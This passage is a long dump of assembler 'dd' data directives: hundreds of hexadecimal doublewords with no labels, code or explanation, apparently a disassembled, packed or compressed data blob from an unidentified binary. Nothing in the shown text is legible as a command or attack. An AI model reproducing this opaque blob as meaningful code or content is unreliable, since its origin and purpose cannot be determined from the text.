		dd 995AF0B1h, 93E7031h,	24A08088h, 91D448B8h, 0F22202E2h
		dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh
		dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh
		dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh
		dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h,	5B89053h
		dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h
		dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h
		dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah
		dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch
		dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h
		dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h
		dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h,	914E483Ah
		dd 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h
		dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h,	0A612009Ah
		dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h
		dd 7487473Eh, 0C9789Dh,	0E66ECE1Eh, 1C0C6854h, 49646117h
		dd 446DD300h, 0F83046h,	69757243h, 617B63E4h, 0EB537E00h
		dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h,	1895B000h
		dd 27B6499Dh, 7AFC0124h
		dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h,	6F960382h
		dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h
		dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h,	287942B8h
		dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h,	4CE1416Eh
		dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h
		dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h
		dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh
		dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h
		dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh,	459403A0h
		dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h
		dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah,	0FA730032h
		dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h
		dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h,	501A0926h
		dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h,	0D4770082h
		dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h,	90C6B864h
		dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h
		dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h
		dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh
		dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h
		dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h,	326700F2h
		dd 9143565Ch, 20E4D00h,	9A4F29D9h, 0C06E39A6h, 21D41300h
		dd 8723DB89h, 58A7A00h,	29747561h, 70B50740h, 80A00DE4h
		dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h
		dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h,	458C02Eh
		dd 0A525D4h, 548FCC8Ah,	542849Ah, 9100B8E8h, 591B470Eh
		dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h
		dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h
		dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah,	3D0A599Ch
		dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h,	0A500C571h
		dd 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h, 889022EEh
		dd 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h, 0EA7404B1h
		dd 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h,	330114F2h
		dd 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh,	0E4DC3DA5h
		dd 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h,	8B4428EAh
		dd 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh, 41256361h
		dd 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h, 219B0FE7h
		dd 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh, 7E6C755Dh
		dd 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch,	62450F5Ah
		dd 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah, 0E65477DCh
		dd 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h, 252366EDh
		dd 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h,	0BC0315AEh
		dd 0D0D8EF5Ah, 2A2B78h,	1E324693h, 8FA6C241h, 6200CAE4h
		dd 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h,	70412032h
		dd 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h, 1BB9D40Ch
		dd 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h, 77F7958h
		dd 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h, 60BC1207h
		dd 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h, 2A1D7600h
		dd 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h, 7A00C4E4h
		dd 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh, 8E1D680Bh
		dd 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h, 1FD6B701h
		dd 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h, 7568CE03h
		dd 0C00948F2h, 1557B8h,	203D3251h, 0D501299Ch, 1A55B70h
		dd 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h
		dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah
		dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh
		dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h
		dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h
		dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h
		dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh
		dd 327781Eh, 507C487Ah,	0BF90B87Eh, 3477071Ch, 80CD9D3Ah
		dd 27263513h, 7E0479Ch,	55362161h, 7CD150C9h, 37000FD8h
		dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h
		dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h
		dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh
		dd 7EE14F6h, 1700E03Ah,	2E672847h, 0A70A3687h, 0DA57C740h
		dd 9B14839Dh, 0C652CAh,	303B1AE1h, 0D17FC9h, 0E0BDD99Fh
		dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h,	549F4B1Eh
		dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah,	0A2809697h
		dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h
		dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh
		dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch,	324FB992h
		dd 0E6BC39h, 3118C3EEh,	3EFE971Eh, 5401488Eh, 73495C0Fh
		dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh
		dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h
		dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h
		dd 3465E1h, 0D1ABC98Dh,	0E0BFD9B7h, 72351900h, 7627741Fh
		dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h,	0A243B237h
		dd 90AD38h, 0E46A3A1Dh,	0ECB9E8A9h, 0EDF0CF01h,	3B5003F4h
		dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h
		dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h,	0AA393F00h
		dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h
		dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h
		dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h,	52001D4Ch
		dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h,	0F8BCFCB3h
		dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch,	0E76FC769h
		dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch
		dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h
		dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h
		dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h
		dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh
		dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch
		dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h
		dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h
		dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h
		dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h
		dd 0E40535h, 920FE80Bh,	7C2C7A74h, 3B49361Dh, 4E543F8Eh
		dd 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h
		dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h,	9E758473h
		dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh
		dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh,	9F1E1FF3h
		dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh,	80F61FFFh
		dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh
		dd 56404ECFh, 661A0FD6h
		dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h
		dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h
		dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh
		dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h
		dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh
		dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh
		dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h,	3EEC3FE4h
		dd 40260F4h, 3A0C3B39h,	1C00143Ah, 2C3D243Ch, 3F77343Eh
		dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh
		dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h
		dd 4E87AAE4h, 487FC20h,	195B03Ch, 671C4714h, 602C8424h
		dd 253CC93h, 7CFEC77Fh,	40E884E7h, 7ED492A3h, 0CE74BC72h
		dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h
		dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh
		dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh
		dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh,	0A72CE427h
		dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch
		dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h
		dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch
		dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh
		dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h
		dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h
		dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h
		dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h
		dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch
		dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h
		dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h,	0CA30008h
		dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h,	60E5015Ch
		dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah
		dd 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh, 0B2142E10h
		dd 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h, 70E16CD9h
		dd 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h,	7C2426C8h
		dd 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h,	5A8E243Dh
		dd 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch
		dd 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h
		dd 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh,	0B35C9228h
		dd 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch,	7C8C7A88h
		dd 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h, 488DE458h
		dd 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h, 4F848F4h
		dd 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h, 718001B2h
		dd 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h,	976BEA0h
		dd 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h, 0CE605065h
		dd 3093CA6h, 1A630A02h,	0A2607083h, 0DB0092A8h,	4A904926h
		dd 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h,	0F9B9D07h
		dd 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh, 0EF007EE0h
		dd 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h, 273347F2h
		dd 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h,	64C2D901h
		dd 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh, 0CF00788Eh
		dd 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh,	76B07403h
		dd 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h, 0C84D0B16h
		dd 0C0EB6084h, 72F2512h, 47780203h, 989B6787h, 12AEFEh
		dd 940CF188h, 30050708h, 0D824A509h, 805489E0h,	0CF3ABD28h
		dd 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h,	26330A83h
		dd 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h
		dd 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h,	0F017EBh
		dd 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h, 1C960055h
		dd 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h, 2C640h
		dd 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h, 3739000Bh
		dd 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh, 707B525h
		dd 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh,	0F17FE940h
		dd 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah,	473D2580h
		dd 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h, 0C0F880F4h
		dd 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h
		dd 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h, 0BA18B274h
		dd 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h, 48BED240h
		dd 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh, 0CA4B7097h
		dd 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh, 0D6A05CD4h
		dd 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h
		dd 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h,	0E54067E2h
		dd 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h, 0EA90F288h
		dd 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h
		dd 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh, 24E920F8h
		dd 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh, 8960925Ch
		dd 4012806h, 1102214Ah,	4FF0FF3Eh, 780A0070h, 4E5B7A57h
		dd 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h, 0C32DAE1h
		dd 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h,	0E8ADF2Ch
		dd 13F68D35h, 67A8A707h, 86317247h, 9BE49187h, 0D3A603C4h
		dd 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h,	0E4937h
		dd 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h,	73CF69h
		dd 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h
		dd 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h, 27CB3BBFh
		dd 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h, 8A003750h
		dd 3F62E1A0h, 15D0770h,	75312E30h, 0FCD31524h, 5213A24Bh
		dd 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h,	0D8005DCBh
		dd 6144EADEh, 1E09537h,	60EDF332h, 0C09C482Ch, 8700FB1Dh
		dd 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh, 1C3E2E84h
		dd 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h, 4900E60Eh
		dd 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h, 303C810Fh
		dd 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h,	6E014841h
		dd 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h,	0E86C18A0h
		dd 0E2ECA3h, 22F4FDF0h,	3A3E3339h, 983B8000h, 0EE3DB33Ch
		dd 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h, 80C060EAh
		dd 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h, 0D78EB84Eh
		dd 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h, 7470CCB2h
		dd 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h, 4E3C8000h
		dd 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h,	0FFD9FA01h
		dd 0D8C082E3h, 2496E0h,	8430170Bh, 38A0DE3Bh, 0E8FF3Dh
		dd 1DF612F2h, 0FE27FAh,	0F437B02Dh, 0B25AF849h,	734A6601h
		dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h
		dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h
		dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh
		dd 0AEB00472h, 4A0C76h,	18320F10h, 20CF1C8Fh, 284C9DE5h
		dd 34C82C81h, 60C85C9Fh
		dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h
		dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h
		dd 0E04DDC7Eh, 67983Ah,	1007EC2Dh, 0E4F8E7F4h, 42D3FC00h
		dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h,	66011C4Eh
		dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch,	9FA89FA4h
		dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h
		dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch
		dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh
		dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h,	741A0172h
		dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h
		dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h
		dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch,	7E5C59h
		dd 3D0283DDh, 0AB9322h,	0A73E19A0h, 27E8CAE4h, 33033FE2h
		dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h
		dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h
		dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah,	8FD2300Fh
		dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh
		dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh
		dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh
		dd 5217A74h, 2F7E297Ch,	0C0D11CCFh, 274BC945h, 0E7395DF6h
		dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h
		dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h
		dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h
		dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h
		dd 1E13E2A6h, 14FDC17h,	28823302h, 0F8508F38h, 39000A16h
		dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh
		dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h
		dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh
		dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h,	88F981AFh
		dd 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h,	3400C213h
		dd 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h, 2CB0AD84h
		dd 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh,	0EA090B72h
		dd 0EC617Ah, 5FE98643h,	7BE0024h, 0FE4AC90h, 17FE13E8h
		dd 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h,	92AA1DA6h
		dd 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh, 9425FF4h
		dd 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh, 32350087h
		dd 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h, 0C832E1C0h
		dd 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h, 0F6743FACh
		dd 0B914FA80h, 1790BD38h, 80623900h, 793A7578h,	0E87D03E4h
		dd 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh, 207E49Fh
		dd 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh, 0C326161Dh
		dd 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h,	3101430Bh
		dd 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h, 0DE7459D8h
		dd 997F500h, 7BBCC95Ah,	3C9100D9h, 3FAF3E6Ch, 0F3002DE7h
		dd 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h, 2A680E0Bh
		dd 96058347h, 713F898h,	12140037h, 3FB24BDCh, 5E006C24h
		dd 0FC7778E0h, 88BE84h,	0CF39C307h, 0E147D627h,	0B8EB6400h
		dd 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah, 248E7E39h
		dd 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h, 703D0E20h
		dd 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h, 44F20E10h
		dd 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h, 732A260h
		dd 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h, 5C9E7Ch
		dd 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h, 72FC5C90h
		dd 98B5A7Fh, 908FAAF3h,	0CEBAE680h, 4A125276h, 1903825Fh
		dd 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch,	0FC38204Eh
		dd 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh,	0CEF0B603h
		dd 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h, 7BF86E6Ch
		dd 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h, 0FAD668E6h
		dd 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h
		dd 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah,	5E08D00Fh
		dd 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh, 87A92501h
		dd 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h, 740068F0h
		dd 783E9822h, 574946h, 259B3FA8h, 41E462A5h, 0F8FEAC00h
		dd 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h,	8100752Dh
		dd 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh,	0E401B6E7h
		dd 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch, 9302F27Eh
		dd 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h
		dd 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h,	0F2906603h
		dd 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h
		dd 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h, 7BC0BE58h
		dd 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh
		dd 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah, 7F72DA98h
		dd 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h, 1D880E2Eh
		dd 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h,	938FC882h
		dd 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h
		dd 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h,	0B2E4219Eh
		dd 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h,	0E3F2E04h
		dd 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h, 0B4398900h
		dd 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h,	0B44F0EAEh
		dd 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh,	0A2923C80h
		dd 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h,	0E13E5D80h
		dd 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h,	0A2B11214h
		dd 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh, 623D0049h
		dd 2437A27h, 8A34813Fh,	96351EC9h, 973E803Ch, 95AAC277h
		dd 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h, 9B74E04h
		dd 27B0D044h, 0F9E4E5h,	5F1DFF4Ch, 8952640Eh, 560241EAh
		dd 3881E975h, 2EB541Ch,	22C12EB3h, 428336E0h, 21A3181Eh
		dd 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h, 610FAAC9h
		dd 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h, 4B003C43h
